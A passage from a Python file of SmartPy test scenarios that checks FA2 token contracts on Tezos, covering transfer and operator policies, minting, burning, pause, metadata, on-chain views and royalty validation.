fa2_contract (function): Return an instance of the FA2 contract
on which the tests occur.
The contract must contains the tokens 0: tok0_md, 1: tok1_md, 2: tok2_md.
For NFT contracts, `alice` must own the three tokens.
For Fungible contracts, `alice` must own 42 of each token types.
Tests:
- transfer fails with FA2_TX_DENIED.
- transfer fails with FA2_TX_DENIED even for admin.
- update_operators fails with FA2_OPERATORS_UNSUPPORTED.
"""
test_name = "test_no-transfer_" + test_name
@sp.add_test(name=test_name, is_default=False)
def test():
sc = sp.test_scenario()
sc.h1(test_name)
sc.table_of_contents()
sc.h2("Accounts")
sc.show([admin, alice, bob])
sc.h2("FA2 with NoTransfer policy")
sc.p("No transfer are allowed.")
# We initialize the contract with an initial mint.
c1 = fa2_contract
sc += c1
# Transfer fails as expected.
sc.h2("Alice cannot transfer: FA2_TX_DENIED")
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=bob.address, amount=1, token_id=0)],
)
]
).run(sender=alice, valid=False, exception="FA2_TX_DENIED")
# Even Admin cannot transfer.
sc.h2("Admin cannot transfer alice's token: FA2_TX_DENIED")
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=1, token_id=0)],
)
]
).run(sender=admin, valid=False, exception="FA2_TX_DENIED")
# update_operators is unsuported.
sc.h2("Alice cannot add operator: FA2_OPERATORS_UNSUPPORTED")
c1.update_operators(
[
sp.variant(
"add_operator",
sp.record(owner=alice.address, operator=bob.address, token_id=0),
)
]
).run(sender=alice, valid=False, exception="FA2_OPERATORS_UNSUPPORTED")
def test_owner_transfer(test_name, fa2_contract):
"""Test that the `owner-transfer` policy works as expected.
Args:
test_name (string): Name of the test
fa2_contract (function): Return an instance of the FA2 contract
on which the tests occur.
The contract must contains the tokens 0: tok0_md, 1: tok1_md, 2: tok2_md.
For NFT contracts, `alice` must own the three tokens.
For Fungible contracts, `alice` must own 42 of each token types.
Tests:
- owner can transfer.
- transfer fails with FA2_NOT_OWNER for non owner, even admin.
- update_operators fails with FA2_OPERATORS_UNSUPPORTED.
"""
test_name = "test_owner-transfer_" + test_name
@sp.add_test(name=test_name, is_default=False)
def test():
sc = sp.test_scenario()
sc.h1(test_name)
sc.table_of_contents()
sc.h2("Accounts")
sc.show([admin, alice, bob])
sc.h2("FA2 with OwnerTransfer policy")
sc.p("Only owner can transfer, no operator allowed.")
# We initialize the contract with an initial mint
c1 = fa2_contract
sc += c1
# The owner can transfer its tokens.
sc.h2("Alice can transfer")
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=1, token_id=0)],
)
]
).run(sender=alice)
# Admin cannot transfer someone else tokens.
sc.h2("Admin cannot transfer alices's token: FA2_NOT_OWNER")
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=1, token_id=0)],
)
]
).run(sender=admin, valid=False, exception="FA2_NOT_OWNER")
# Someone cannot transfer someone else tokens.
sc.h2("Admin cannot transfer alices's token: FA2_NOT_OWNER")
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=1, token_id=0)],
)
]
).run(sender=bob, valid=False, exception="FA2_NOT_OWNER")
# Someone cannot add operator.
sc.h2("Alice cannot add operator: FA2_OPERATORS_UNSUPPORTED")
c1.update_operators(
[
sp.variant(
"add_operator",
sp.record(owner=alice.address, operator=bob.address, token_id=0),
)
]
).run(sender=alice, valid=False, exception="FA2_OPERATORS_UNSUPPORTED")
def test_owner_or_operator_transfer(test_name, fa2_contract):
"""Test that the `owner-or-operator-transfer` policy works as expected.
Args:
test_name (string): Name of the test
fa2_contract (function): Return an instance of the FA2 contract
on which the tests occur.
The contract must contains the tokens 0: tok0_md, 1: tok1_md, 2: tok2_md.
For NFT contracts, `alice` must own the three tokens.
For Fungible contracts, `alice` must own 42 of each token types.
Tests:
- owner can transfer.
- transfer fails with FA2_NOT_OPERATOR for non operator, even admin.
- update_operators fails with FA2_OPERATORS_UNSUPPORTED.
- owner can add operator.
- operator can transfer.
- operator cannot transfer for non allowed `token_id`.
- owner can remove operator and add operator in a batch.
- removed operator cannot transfer anymore.
- operator added in a batch can transfer.
- add then remove the same operator doesn't change the storage.
- remove then add the same operator does change the storage.
"""
test_name = "test_owner-or-operator-transfer_" + test_name
@sp.add_test(name=test_name, is_default=False)
def test():
operator_bob = sp.record(owner=alice.address, operator=bob.address, token_id=0)
operator_charlie = sp.record(
owner=alice.address, operator=charlie.address, token_id=0
)
sc = sp.test_scenario()
sc.h1(test_name)
sc.table_of_contents()
sc.h2("Accounts")
sc.show([admin, alice, bob])
sc.h2("FA2 with OwnerOrOperatorTransfer policy")
sc.p("Owner or operators can transfer.")
# We initialize the contract with an initial mint
c1 = fa2_contract
sc += c1
# Owner can transfer his tokens.
sc.h2("Alice can transfer")
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=1, token_id=0)],
)
]
).run(sender=alice)
# Admin can transfer others tokens.
sc.h2("Admin cannot transfer alices's token: FA2_NOT_OPERATOR")
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=1, token_id=0)],
)
]
).run(sender=admin, valid=False, exception="FA2_NOT_OPERATOR")
# Update operator works.
sc.h2("Alice adds Bob as operator")
c1.update_operators([sp.variant("add_operator", operator_bob)]).run(
sender=alice
)
# The contract is updated as expected.
sc.verify(c1.data.operators.contains(operator_bob))
# Operator can transfer allowed tokens on behalf of owner.
sc.h2("Bob can transfer Alice's token id 0")
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=1, token_id=0)],
)
]
).run(sender=bob)
if c1.ledger_type != "SingleAsset":
# Operator cannot transfer not allowed tokens on behalf of owner.
sc.h2("Bob cannot transfer Alice's token id 1")
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=1, token_id=1)],
)
]
).run(sender=bob, valid=False, exception="FA2_NOT_OPERATOR")
# Batch of update_operators actions.
sc.h2("Alice can remove Bob as operator and add Charlie")
c1.update_operators(
[
sp.variant("remove_operator", operator_bob),
sp.variant("add_operator", operator_charlie),
]
).run(sender=alice)
# The contract is updated as expected.
sc.verify(~c1.data.operators.contains(operator_bob))
sc.verify(c1.data.operators.contains(operator_charlie))
# A removed operator lose its rights.
sc.h2("Bob cannot transfer Alice's token 0 anymore")
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=1, token_id=0)],
)
]
).run(sender=bob, valid=False, exception="FA2_NOT_OPERATOR")
# The new added operator can now do the transfer.
sc.h2("Charlie can transfer Alice's token")
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=charlie.address, amount=1, token_id=0)],
)
]
).run(sender=charlie)
# The contract is updated as expected.
sc.verify(c1.get_balance(sp.record(owner=charlie.address, token_id=0)) == 1)
# Remove after a Add does nothing.
sc.h2("Add then Remove in the same batch is transparent")
sc.p(
"""TZIP-12: If two different commands in the list add and remove an
operator for the same token owner and token ID, the last command
in the list MUST take effect."""
)
c1.update_operators(
[
sp.variant("add_operator", operator_bob),
sp.variant("remove_operator", operator_bob),
]
).run(sender=alice)
sc.verify(~c1.data.operators.contains(operator_bob))
# Add after remove works
sc.h2("Remove then Add do add the operator")
c1.update_operators(
[
sp.variant("remove_operator", operator_bob),
sp.variant("add_operator", operator_bob),
]
).run(sender=alice)
sc.verify(c1.data.operators.contains(operator_bob))
################################################################################
# Optional features tests
def test_optional_features(nft_contract, fungible_contract, single_asset_contract):
""" " Test optional mixins of FA2_lib on both NFT and Fungible.
Mixin tested:
- WithdrawMutez
- ChangeMetadata
- OnchainviewTokenMetadata
- OnchainviewBalanceOf
- MintNft
- MintFungible
- BurnNft
- BurnFungible
"""
test_name = "FA2_optional_interfaces"
def test_mint(sc, nft, fungible, single_asset):
"""Test `MintNft` and `MintFungible` with the `owner-or-operator-transfer` policy.
- `mint` fails with `FA2_NOT_ADMIN` for non-admin.
- `mint` works for the Nft and Fungible contracts.
- `mint` works for existing tokens in Fungible contract.
"""
sc.h2("Mint entrypoint")
# Non admin cannot mint a new NFT token.
sc.h3("NFT mint failure")
nft.mint([sp.record(metadata=tok0_md, to_=alice.address)]).run(
sender=alice, valid=False, exception="FA2_NOT_ADMIN"
)
# Non admin cannot mint a new fungible token.
sc.h3("Fungible mint failure")
fungible.mint(
[
sp.record(
token=sp.variant("new", sp.record(metadata=tok0_md)), to_=alice.address, amount=1000
)
]
).run(sender=alice, valid=False, exception="FA2_NOT_ADMIN")
# Non admin cannot mint a new signle asset token.
sc.h3("Single Asset mint failure")
single_asset.mint(
[
sp.record(
token=sp.variant("new", sp.record(metadata=tok0_md)), to_=alice.address, amount=1000
)
]
).run(sender=alice, valid=False, exception="FA2_NOT_ADMIN")
sc.h3("Mint")
# Mint of a new NFT token.
nft.mint(
[
sp.record(metadata=tok0_md, to_=alice.address),
sp.record(metadata=tok1_md, to_=alice.address),
sp.record(metadata=tok2_md, to_=bob.address),
]
).run(sender=admin)
# Check that the contract storage is updated.
sc.verify(nft.get_balance(sp.record(owner=alice.address, token_id=0)) == 1)
sc.verify(nft.get_balance(sp.record(owner=bob.address, token_id=0)) == 0)
sc.verify(nft.get_balance(sp.record(owner=alice.address, token_id=1)) == 1)
sc.verify(nft.get_balance(sp.record(owner=bob.address, token_id=1)) == 0)
sc.verify(nft.get_balance(sp.record(owner=alice.address, token_id=2)) == 0)
sc.verify(nft.get_balance(sp.record(owner=bob.address, token_id=2)) == 1)
# Mint of a new fungible token.
fungible.mint(
[
sp.record(
token=sp.variant("new", sp.record(metadata=tok0_md)), to_=alice.address, amount=1000
)
]
).run(sender=admin)
# Check that the contract storage is updated.
sc.verify(
fungible.get_balance(sp.record(owner=alice.address, token_id=0)) == 1000
)
sc.verify(fungible.get_balance(sp.record(owner=bob.address, token_id=0)) == 0)
# Mint a new and existing token.
fungible.mint(
[
sp.record(
token=sp.variant("new", sp.record(metadata=tok1_md)), to_=alice.address, amount=1000
),
sp.record(
token=sp.variant("existing", 0), to_=alice.address, amount=1000
),
sp.record(
token=sp.variant("existing", 1), to_=bob.address, amount=1000
),
]
).run(sender=admin)
# Check that the contract storage is updated.
sc.verify(
fungible.get_balance(sp.record(owner=alice.address, token_id=0)) == 2000
)
sc.verify(fungible.get_balance(sp.record(owner=bob.address, token_id=0)) == 0)
sc.verify(
fungible.get_balance(sp.record(owner=alice.address, token_id=1)) == 1000
)
sc.verify(
fungible.get_balance(sp.record(owner=bob.address, token_id=1)) == 1000
)
# Mint of a new single asset token.
single_asset.mint(
[
sp.record(
token=sp.variant("new", sp.record(metadata=tok0_md)), to_=alice.address, amount=1000
)
]
).run(sender=admin)
# Check that the contract storage is updated.
sc.verify(
single_asset.get_balance(sp.record(owner=alice.address, token_id=0)) == 1000
)
sc.verify(single_asset.get_balance(sp.record(owner=bob.address, token_id=0)) == 0)
# Mint an existing token.
single_asset.mint(
[
sp.record(
token=sp.variant("existing", 0), to_=alice.address, amount=1000
)
]
).run(sender=admin)
# Check that the contract storage is updated.
sc.verify(
single_asset.get_balance(sp.record(owner=alice.address, token_id=0)) == 2000
)
sc.verify(single_asset.get_balance(sp.record(owner=bob.address, token_id=0)) == 0)
# Can't mint more than one token in single asset
single_asset.mint(
[
sp.record(
token=sp.variant("new", sp.record(metadata=tok1_md)), to_=alice.address, amount=1000
)
]
).run(sender=admin, valid=False, exception="FA2_TOKEN_DEFINED")
def test_burn(sc, nft, fungible, single_asset):
"""Test `BurnNft` and `BurnFungible` with the `owner-or-operator-transfer` policy.
- non operator cannot burn, it fails with `FA2_NOT_OPERATOR` on Nft.
- non operator cannot burn, it fails with `FA2_NOT_OPERATOR` on Fungible.
- owner can burn as expected on Nft.
- owner can burn as expected on Fungible.
- burn fails with `FA2_INSUFFICIENT_BALANCE` when needed on Nft.
- burn fails with `FA2_INSUFFICIENT_BALANCE` when needed on Fungible.
- operator can burn as expected on Nft.
- operator can burn as expected on Fungible.
"""
sc.h2("Burn entrypoint")
# Check that non operator cannot burn others tokens.
sc.h3("Cannot burn others nft tokens")
nft.burn([sp.record(token_id=0, from_=alice.address, amount=1)]).run(
sender=bob, valid=False, exception="FA2_NOT_OPERATOR"
)
sc.h3("Cannot burn others fungible tokens")
fungible.burn([sp.record(token_id=0, from_=alice.address, amount=500)]).run(
sender=bob, valid=False, exception="FA2_NOT_OPERATOR"
)
sc.h3("Cannot burn others single asset tokens")
single_asset.burn([sp.record(token_id=0, from_=alice.address, amount=500)]).run(
sender=bob, valid=False, exception="FA2_NOT_OPERATOR"
)
# Owner can burn fungible.
sc.h3("Owner burns his nft tokens")
fungible.burn([sp.record(token_id=0, from_=alice.address, amount=500)]).run(
sender=alice
)
# Check that the contract storage is updated.
sc.verify(
fungible.get_balance(sp.record(owner=alice.address, token_id=0)) == 1500
)
# Check that burning doesn't remove token_metadata.
sc.verify(fungible.data.token_metadata.contains(0))
# Owner can burn NFT.
sc.h3("Owner burns his nft tokens")
nft.burn([sp.record(token_id=1, from_=alice.address, amount=1)]).run(
sender=alice
)
# Check that the contract storage is updated.
sc.verify(~nft.data.ledger.contains(1))
# Check that burning an nft removes token_metadata.
sc.verify(~nft.data.token_metadata.contains(1))
# Owner can burn single asset.
sc.h3("Owner burns his nft tokens")
single_asset.burn([sp.record(token_id=0, from_=alice.address, amount=500)]).run(
sender=alice
)
# Check that the contract storage is updated.
sc.verify(
single_asset.get_balance(sp.record(owner=alice.address, token_id=0)) == 1500
)
# Check that burning doesn't remove token_metadata.
sc.verify(single_asset.data.token_metadata.contains(0))
# Check burn of FA2_INSUFFICIENT_BALANCE on nft.
sc.h3("Burn with insufficent balance")
nft.burn([sp.record(token_id=0, from_=alice.address, amount=2)]).run(
sender=alice, valid=False, exception="FA2_INSUFFICIENT_BALANCE"
)
# Check burn of FA2_INSUFFICIENT_BALANCE on fungible.
sc.h3("Burn with insufficent balance")
fungible.burn([sp.record(token_id=0, from_=alice.address, amount=2000)]).run(
sender=alice, valid=False, exception="FA2_INSUFFICIENT_BALANCE"
)
# Check burn of FA2_INSUFFICIENT_BALANCE on single asset.
sc.h3("Burn with insufficent balance")
single_asset.burn([sp.record(token_id=0, from_=alice.address, amount=2000)]).run(
sender=alice, valid=False, exception="FA2_INSUFFICIENT_BALANCE"
)
# Prepare operator permission.
operator_bob = sp.record(owner=alice.address, operator=bob.address, token_id=0)
# Add operator to test if he can burn on behalf of the owner.
sc.h3("Operator can burn on behalf of the owner")
nft.update_operators([sp.variant("add_operator", operator_bob)]).run(
sender=alice
)
# Operator can burn nft on behalf of the owner.
nft.burn([sp.record(token_id=0, from_=alice.address, amount=1)]).run(sender=bob)
# Check that the contract storage is updated.
sc.verify(~nft.data.ledger.contains(0))
# Check that burning an nft removes token_metadata.
sc.verify(~nft.data.token_metadata.contains(0))
# Add operator to test if he can burn on behalf of the owner.
sc.h3("Operator can burn on behalf of the owner")
fungible.update_operators([sp.variant("add_operator", operator_bob)]).run(
sender=alice
)
# Operator can burn fungible on behalf of the owner.
fungible.burn([sp.record(token_id=0, from_=alice.address, amount=500)]).run(
sender=bob
)
# Check that the contract storage is updated.
sc.verify(
fungible.get_balance(sp.record(owner=alice.address, token_id=0)) == 1000
)
# Add operator to test if he can burn on behalf of the owner.
sc.h3("Operator can burn on behalf of the owner")
single_asset.update_operators([sp.variant("add_operator", operator_bob)]).run(
sender=alice
)
# Operator can burn fungible on behalf of the owner.
single_asset.burn([sp.record(token_id=0, from_=alice.address, amount=500)]).run(
sender=bob
)
# Check that the contract storage is updated.
sc.verify(
single_asset.get_balance(sp.record(owner=alice.address, token_id=0)) == 1000
)
def test_withdraw_mutez(sc, nft, fungible):
"""Test of WithdrawMutez.
- non admin cannot withdraw mutez: FA2_NOT_ADMIN.
- admin can withdraw mutez.
"""
sc.h2("Withdraw Mutez entrypoint")
sc.h3("Mutez receiver contract")
class Wallet(sp.Contract):
@sp.entry_point
def default(self):
pass
wallet = Wallet()
sc += wallet
# Non admin cannot withdraw mutez.
sc.h3("Non admin cannot withdraw_mutez")
fungible.withdraw_mutez(destination=wallet.address, amount=sp.tez(10)).run(
sender=alice, amount=sp.tez(42), valid=False, exception="FA2_NOT_ADMIN"
)
# Contract's balance can be withdrawn by admin with the withdraw_mutez entrypoint.
sc.h3("Admin withdraw_mutez")
fungible.withdraw_mutez(destination=wallet.address, amount=sp.tez(10)).run(
sender=admin, amount=sp.tez(42)
)
# Check that the mutez has been transfered.
sc.verify(fungible.balance == sp.tez(32))
sc.verify(wallet.balance == sp.tez(10))
def test_change_metadata(sc, nft, fungible):
"""Test of ChangeMetadata.
- non admin cannot set metadata
- `set_metadata` works as expected
"""
sc.h2("Change metadata")
sc.h3("Non admin cannot set metadata")
fungible.set_metadata(sp.utils.metadata_of_url("http://example.com")).run(
sender=alice, valid=False, exception="FA2_NOT_ADMIN"
)
sc.h3("Admin set metadata")
fungible.set_metadata(sp.utils.metadata_of_url("http://example.com")).run(
sender=admin
)
# Check that the metadata has been updated.
sc.verify_equal(
fungible.data.metadata[""],
sp.utils.metadata_of_url("http://example.com")[""],
)
def test_balance_of(sc, nft, fungible, single_asset):
"""Test of `OnchainviewBalanceOf`
- `get_balance_of` doesn't deduplicate nor reorder on nft.
- `get_balance_of` doesn't deduplicate nor reorder on fungible.
- `get_balance_of` fails with `FA2_TOKEN_UNDEFINED` when needed on nft.
- `get_balance_of` fails with `FA2_TOKEN_UNDEFINED` when needed on fungible.
- `get_balance_of` fails with `FA2_TOKEN_UNDEFINED` when needed on single asset.
"""
# get_balance_of on fungible
# We deliberately give multiple identical params to check for
# non-deduplication and non-reordering.
sc.verify_equal(
fungible.get_balance_of(
[
sp.record(owner=alice.address, token_id=0),
sp.record(owner=alice.address, token_id=0),
sp.record(owner=bob.address, token_id=0),
sp.record(owner=alice.address, token_id=0),
]
),
sp.set_type_expr(
[
sp.record(
balance=1000,
request=sp.record(owner=alice.address, token_id=0),
),
sp.record(
balance=1000,
request=sp.record(owner=alice.address, token_id=0),
),
sp.record(
balance=0,
request=sp.record(owner=bob.address, token_id=0),
),
sp.record(
balance=1000,
request=sp.record(owner=alice.address, token_id=0),
),
],
sp.TList(t_balance_of_response),
),
)
# Check that on-chain view fails on undefined tokens.
sc.verify(
sp.catch_exception(
fungible.get_balance_of([sp.record(owner=alice.address, token_id=5)])
)
== sp.some("FA2_TOKEN_UNDEFINED")
)
# get_balance_of on nft
# We deliberately give multiple identical params to check for
# non-deduplication and non-reordering.
# The burned token 0 should return balance of 0
sc.verify_equal(
nft.get_balance_of(
[
sp.record(owner=alice.address, token_id=2),
sp.record(owner=alice.address, token_id=2),
sp.record(owner=bob.address, token_id=2),
sp.record(owner=alice.address, token_id=2),
]
),
sp.set_type_expr(
[
sp.record(
balance=0,
request=sp.record(owner=alice.address, token_id=2),
),
sp.record(
balance=0,
request=sp.record(owner=alice.address, token_id=2),
),
sp.record(
balance=1,
request=sp.record(owner=bob.address, token_id=2),
),
sp.record(
balance=0,
request=sp.record(owner=alice.address, token_id=2),
),
],
sp.TList(t_balance_of_response),
),
)
# Check that on-chain view fails on undefined tokens.
sc.verify(
sp.catch_exception(
nft.get_balance_of([sp.record(owner=alice.address, token_id=5)])
)
== sp.some("FA2_TOKEN_UNDEFINED")
)
# get_balance_of on single asset
# We deliberately give multiple identical params to check for
# non-deduplication and non-reordering.
# The burned token 0 should return balance of 0
sc.verify_equal(
single_asset.get_balance_of(
[
sp.record(owner=alice.address, token_id=0),
sp.record(owner=alice.address, token_id=0),
sp.record(owner=bob.address, token_id=0),
sp.record(owner=alice.address, token_id=0),
]
),
sp.set_type_expr(
[
sp.record(
balance=1000,
request=sp.record(owner=alice.address, token_id=0),
),
sp.record(
balance=1000,
request=sp.record(owner=alice.address, token_id=0),
),
sp.record(
balance=0,
request=sp.record(owner=bob.address, token_id=0),
),
sp.record(
balance=1000,
request=sp.record(owner=alice.address, token_id=0),
),
],
sp.TList(t_balance_of_response),
),
)
# Check that on-chain view fails on undefined tokens.
sc.verify(
sp.catch_exception(
single_asset.get_balance_of([sp.record(owner=alice.address, token_id=5)])
)
== sp.some("FA2_TOKEN_UNDEFINED")
)
def test_offchain_token_metadata(sc, nft, fungible, single_asset):
"""Test `OnchainviewTokenMetadata`.
Tests:
- `token_metadata` works as expected on nft and fungible.
"""
sc.verify_equal(
nft.token_metadata(2), sp.record(token_id=2, token_info=tok2_md)
)
sc.verify_equal(
fungible.token_metadata(0), sp.record(token_id=0, token_info=tok0_md)
)
sc.verify_equal(
single_asset.token_metadata(0), sp.record(token_id=0, token_info=tok0_md)
)
def test_onchain_count_tokens(sc, nft, fungible, single_asset):
"""Test `OnchainviewCountTokens`.
Tests:
- `count_tokens` works as expected on nft, fungible and single_asset.
"""
# No tokens in nft
sc.verify_equal(
nft.count_tokens(), sp.nat(3)
)
# No tokens in fungible
sc.verify_equal(
fungible.count_tokens(), sp.nat(2)
)
# Single asset should always return 1
sc.verify_equal(
single_asset.count_tokens(), sp.nat(1)
)
@sp.add_test(name=test_name)
def test_scenario():
sc = sp.test_scenario()
sc.h1(test_name)
sc.table_of_contents()
sc.h2("Accounts")
sc.show([admin, alice, bob])
sc.h2("FA2 contracts")
sc.h3("NFT")
nft = nft_contract
sc += nft
sc.h3("Fungible")
fungible = fungible_contract
sc += fungible
sc.h3("Single Asset")
single_asset = single_asset_contract
sc += single_asset
test_mint(sc, nft, fungible, single_asset)
test_burn(sc, nft, fungible, single_asset)
test_withdraw_mutez(sc, nft, fungible)
test_change_metadata(sc, nft, fungible)
test_balance_of(sc, nft, fungible, single_asset)
test_offchain_token_metadata(sc, nft, fungible, single_asset)
test_onchain_count_tokens(sc, nft, fungible, single_asset)
def test_pause(nft_contract, fungible_contract, single_asset_contract):
"""Test the `Pause` policy decorator and `operator-or-owner-transfer`.
- transfer works without pause
- transfer update_operators without pause
- non admin cannot set_pause
- admin can set pause
- transfer fails with ('FA2_TX_DENIED', 'FA2_PAUSED') when paused.
- update_operators fails with
('FA2_OPERATORS_UNSUPPORTED', 'FA2_PAUSED') when paused.
"""
test_name = "FA2_pause"
@sp.add_test(name=test_name)
def test():
sc = sp.test_scenario()
sc.h1(test_name)
sc.table_of_contents()
sc.h2("Accounts")
sc.show([admin, alice, bob])
sc.h2("FA2 Contracts")
c1 = nft_contract
sc += c1
c2 = fungible_contract
sc += c2
c3 = single_asset_contract
sc += c3
sc.h3("Mint")
c1.mint([sp.record(metadata=tok0_md, to_=alice.address)]).run(sender=admin)
c2.mint(
[
sp.record(
token=sp.variant("new", sp.record(metadata=tok0_md)), to_=alice.address, amount=1000
)
]
).run(sender=admin)
c3.mint(
[
sp.record(
token=sp.variant("new", sp.record(metadata=tok0_md)), to_=alice.address, amount=1000
)
]
).run(sender=admin)
for contract in [c1, c2, c3]:
sc.h2("Transfer without pause")
contract.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=0, token_id=0)],
),
]
).run(sender=alice)
sc.h2("Update_operator without pause")
contract.update_operators(
[
sp.variant(
"add_operator",
sp.record(
owner=alice.address, operator=alice.address, token_id=0
),
),
sp.variant(
"remove_operator",
sp.record(
owner=alice.address, operator=alice.address, token_id=0
),
),
]
).run(sender=alice)
sc.h2("Pause entrypoint")
sc.h3("Non admin cannot set pause")
contract.set_pause(True).run(
sender=alice, valid=False, exception="FA2_NOT_ADMIN"
)
sc.h3("Admin set pause")
contract.set_pause(True).run(sender=admin)
sc.h2("Transfer fails with pause")
contract.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=0, token_id=0)],
),
]
).run(sender=alice, valid=False, exception=("FA2_TX_DENIED", "FA2_PAUSED"))
sc.h2("Update_operator fails with pause")
contract.update_operators(
[
sp.variant(
"add_operator",
sp.record(
owner=alice.address, operator=alice.address, token_id=0
),
),
sp.variant(
"remove_operator",
sp.record(
owner=alice.address, operator=alice.address, token_id=0
),
),
]
).run(
sender=alice,
valid=False,
exception=("FA2_OPERATORS_UNSUPPORTED", "FA2_PAUSED"),
)
def test_adhoc_operators(nft_contract, fungible_contract, single_asset_contract):
"""Test the `Royalties` mixin.
"""
test_name = "FA2_adhoc_operators"
@sp.add_test(name=test_name)
def test():
sc = sp.test_scenario()
sc.h1(test_name)
sc.table_of_contents()
sc.h2("Accounts")
sc.show([admin, alice, bob])
sc.h2("FA2 Contracts")
c1 = nft_contract
sc += c1
c2 = fungible_contract
sc += c2
c3 = single_asset_contract
sc += c3
sc.h3("Mint")
c1.mint([sp.record(metadata=tok0_md, to_=alice.address)]).run(sender=admin)
c2.mint(
[
sp.record(
token=sp.variant("new", sp.record(metadata=tok0_md)), to_=alice.address, amount=1000
)
]
).run(sender=admin)
c3.mint(
[
sp.record(
token=sp.variant("new", sp.record(metadata=tok0_md)), to_=alice.address, amount=1000
)
]
).run(sender=admin)
for contract in [c1, c2, c3]:
# update adhoc operators
contract.update_adhoc_operators(
sp.variant(
"add_adhoc_operators",
[
sp.record(
operator=bob.address, token_id=0
),
sp.record(
operator=admin.address, token_id=0
),
]
)
).run(sender=alice)
# Check storage contains operators
sc.verify(
contract.is_operator(sp.record(owner=alice.address, operator=bob.address, token_id=0)) == True
)
sc.verify(
contract.is_operator(sp.record(owner=alice.address, operator=admin.address, token_id=0)) == True
)
# Check storage doesn't containt operators in next block
sc.verify(
sc.compute(contract.is_operator(sp.record(owner=alice.address, operator=bob.address, token_id=0)), level=1) == False
)
sc.verify(
sc.compute(contract.is_operator(sp.record(owner=alice.address, operator=admin.address, token_id=0)), level=1) == False
)
sc.verify(sp.len(contract.data.adhoc_operators) == 2)
# update adhoc operators again
contract.update_adhoc_operators(
sp.variant(
"add_adhoc_operators",
[
sp.record(
operator=bob.address, token_id=0
),
sp.record(
operator=alice.address, token_id=0
),
sp.record(
operator=admin.address, token_id=0
),
]
)
).run(sender=alice, level=2)
# Check storage contains operators
sc.verify(
sc.compute(contract.is_operator(sp.record(owner=alice.address, operator=bob.address, token_id=0)), level=2) == True
)
sc.verify(
sc.compute(contract.is_operator(sp.record(owner=alice.address, operator=alice.address, token_id=0)), level=2) == True
)
sc.verify(
sc.compute(contract.is_operator(sp.record(owner=alice.address, operator=admin.address, token_id=0)), level=2) == True
)
sc.verify(sp.len(contract.data.adhoc_operators) == 3)
# only admin can clear adhoc operators
contract.update_adhoc_operators(
sp.variant(
"clear_adhoc_operators", sp.unit
)
).run(sender=alice, valid=False, exception="FA2_NOT_ADMIN")
contract.update_adhoc_operators(
sp.variant(
"clear_adhoc_operators", sp.unit
)
).run(sender=bob, valid=False, exception="FA2_NOT_ADMIN")
contract.update_adhoc_operators(
sp.variant(
"clear_adhoc_operators", sp.unit
)
).run(sender=admin)
sc.verify(sp.len(contract.data.adhoc_operators) == 0)
def test_royalties(nft_contract, fungible_contract):
"""Test the `AdhocOwnerOrOperatorTransfer` policy decorator and `update_adhoc_operators`.
"""
test_name = "FA2_royalties"
@sp.add_test(name=test_name)
def test():
sc = sp.test_scenario()
sc.h1(test_name)
sc.table_of_contents()
sc.h2("Accounts")
sc.show([admin, alice, bob])
sc.h2("FA2 Contracts")
c1 = nft_contract
sc += c1
c2 = fungible_contract
sc += c2
# Define some valid royalties
valid_royalties = [
sp.record(
royalties=sp.nat(250),
contributors=[
sp.record(address=alice.address, role=sp.variant("minter", sp.unit), relative_royalties=sp.nat(1000))
]
),
sp.record(
royalties=sp.nat(0),
contributors=[]
),
sp.record(
royalties=sp.nat(150),
contributors=[
sp.record(address=admin.address, role=sp.variant("minter", sp.unit), relative_royalties=sp.nat(600)),
sp.record(address=bob.address, role=sp.variant("minter", sp.unit), relative_royalties=sp.nat(200)),
sp.record(address=alice.address, role=sp.variant("custom", "test"), relative_royalties=sp.nat(200))
]
)
]
sc.h3("Mint - valid")
for royalties in valid_royalties:
c1.mint([sp.record(
metadata=tok0_md,
to_=alice.address,
royalties=royalties
)]).run(sender=admin)
# Check storage
sc.verify_equal(
royalties, c1.data.token_extra[abs(c1.data.last_token_id - 1)].royalty_info
)
# Check onchain view
sc.verify_equal(
royalties, c1.get_token_royalties(abs(c1.data.last_token_id - 1))
)
c2.mint([
sp.record(
token=sp.variant("new", sp.record(
metadata=tok0_md,
royalties=royalties)),
to_=alice.address, amount=1000
)
]).run(sender=admin)
# Check storage
sc.verify_equal(
royalties, c2.data.token_extra[abs(c2.data.last_token_id - 1)].royalty_info
)
# Check onchain view
sc.verify_equal(
royalties, c2.get_token_royalties(abs(c2.data.last_token_id - 1))
)
# Define some invalid royalties
invalid_royalties = [
sp.record(
royalties=sp.nat(251),
contributors=[
sp.record(address=alice.address, role=sp.variant("minter", sp.unit), relative_royalties=sp.nat(1000))
]
),
sp.record(
royalties=sp.nat(0),
contributors=[
sp.record(address=admin.address, role=sp.variant("minter", sp.unit), relative_royalties=sp.nat(1000))
]
),
sp.record(
royalties=sp.nat(150),
contributors=[
sp.record(address=admin.address, role=sp.variant("minter", sp.unit), relative_royalties=sp.nat(500)),
sp.record(address=bob.address, role=sp.variant("minter", sp.unit), relative_royalties=sp.nat(200)),
sp.record(address=alice.address, role=sp.variant("custom", "test"), relative_royalties=sp.nat(200))
]
)
]
for royalties in invalid_royalties:
c1.mint([sp.record(
metadata=tok0_md,
to_=alice.address,
royalties=royalties
)]).run(sender=admin, valid=False, exception="FA2_ROYALTIES_INVALID")
c2.mint([
sp.record(
token=sp.variant("new", sp.record(
metadata=tok0_md,
royalties=royalties)),
to_=alice.address, amount=1000
)
]).run(sender=admin, valid=False, exception="FA2_ROYALTIES_INVALID")
| 35.848053
| 134
| 0.535539
| 7,434
| 65,351
| 4.561878
| 0.053538
| 0.054964
| 0.025005
| 0.030077
